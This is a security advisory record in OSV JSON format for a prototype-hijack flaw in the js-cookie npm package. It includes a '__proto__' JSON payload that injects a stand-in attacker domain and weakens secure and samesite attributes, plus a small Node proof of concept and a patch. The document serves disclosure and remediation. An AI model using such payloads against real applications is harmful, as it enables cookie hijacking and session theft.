Vulnerabilities in pkg:npm/js-cookie

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qjx8-664m-686j",
  "modified" : "2026-06-11T14:05:06Z",
  "published" : "2026-05-21T21:20:31Z",
  "aliases" : [ "CVE-2026-46625" ],
  "summary" : "JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection",
  "details" : "## Summary\n\n`js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `\"__proto__\"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys.\n\nBecause the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down.\n\n## Impact\n\nAny application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend:\n\n```js\nconst cfg = await fetch('/config').then(r => r.json());\nCookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker\n```\n\nA payload of `{\"__proto__\":{\"domain\":\"evil.example\",\"secure\":\"false\",\"samesite\":\"None\"}}` causes js-cookie to emit:\n\n```\nSet-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None\n```\n\n## Affected code\n\n```js\n// src/assign.mjs — full file\nexport default function (target) {\n  for (var i = 1; i < arguments.length; i++) {\n    var source = arguments[i]\n    for (var key in source) {                 // includes own enumerable '__proto__'\n      target[key] = source[key]                // [[Set]] form - fires __proto__ setter\n    }\n  }\n  return target\n}\n```\n## Proof of concept\n\nNode 22.11.0, no third-party deps:\n\n### Environment setup\n```bash\nmkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc\nnpm init -y\nnpm i js-cookie\n```\n\n### PoC\n```js\nubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs\nlet lastSetCookie = '';\nglobalThis.document = {\n  get cookie() { return ''; },\n  set cookie(v) { lastSetCookie = v; }\n};\n\nconst { default: Cookies } = await import('js-cookie');\n\nconst attackerAttrs = JSON.parse(\n  '{\"__proto__\":{\"secure\":\"false\",\"domain\":\"evil.com\",\"samesite\":\"None\",\"expires\":-1}}'\n);\n\nCookies.set('session', 'TOKEN', attackerAttrs);\n\nconsole.log('Set-Cookie that js-cookie wrote to document.cookie:');\nconsole.log(lastSetCookie);\n```\n\nExecution:\n<img width=\"2614\" height=\"1174\" alt=\"cls-2026-05-14-01 44 39\" src=\"https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62\" />\n\n## Suggested patch\n\n```diff\n--- a/src/assign.mjs\n+++ b/src/assign.mjs\n@@\n export default function (target) {\n   for (var i = 1; i < arguments.length; i++) {\n     var source = arguments[i]\n-    for (var key in source) {\n-      target[key] = source[key]\n-    }\n+    for (var key in source) {\n+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue\n+      Object.defineProperty(target, key, {\n+        value: source[key],\n+        writable: true,\n+        enumerable: true,\n+        configurable: true,\n+      })\n+    }\n   }\n   return target\n }\n```\n\nEquivalent one-liner alternative - iterate own names only and filter:\n\n```js\nfor (const key of Object.getOwnPropertyNames(source)) {\n  if (key === '__proto__') continue\n  target[key] = source[key]\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "js-cookie"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.0.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46625"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/js-cookie/js-cookie/commit/eb3c40e89731e99b8970faaf35ddad249c6c0020"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/js-cookie/js-cookie"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/js-cookie/js-cookie/releases/tag/v3.0.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-21T21:20:31Z",
    "nvd_published_at" : "2026-06-10T22:16:59Z"
  }
}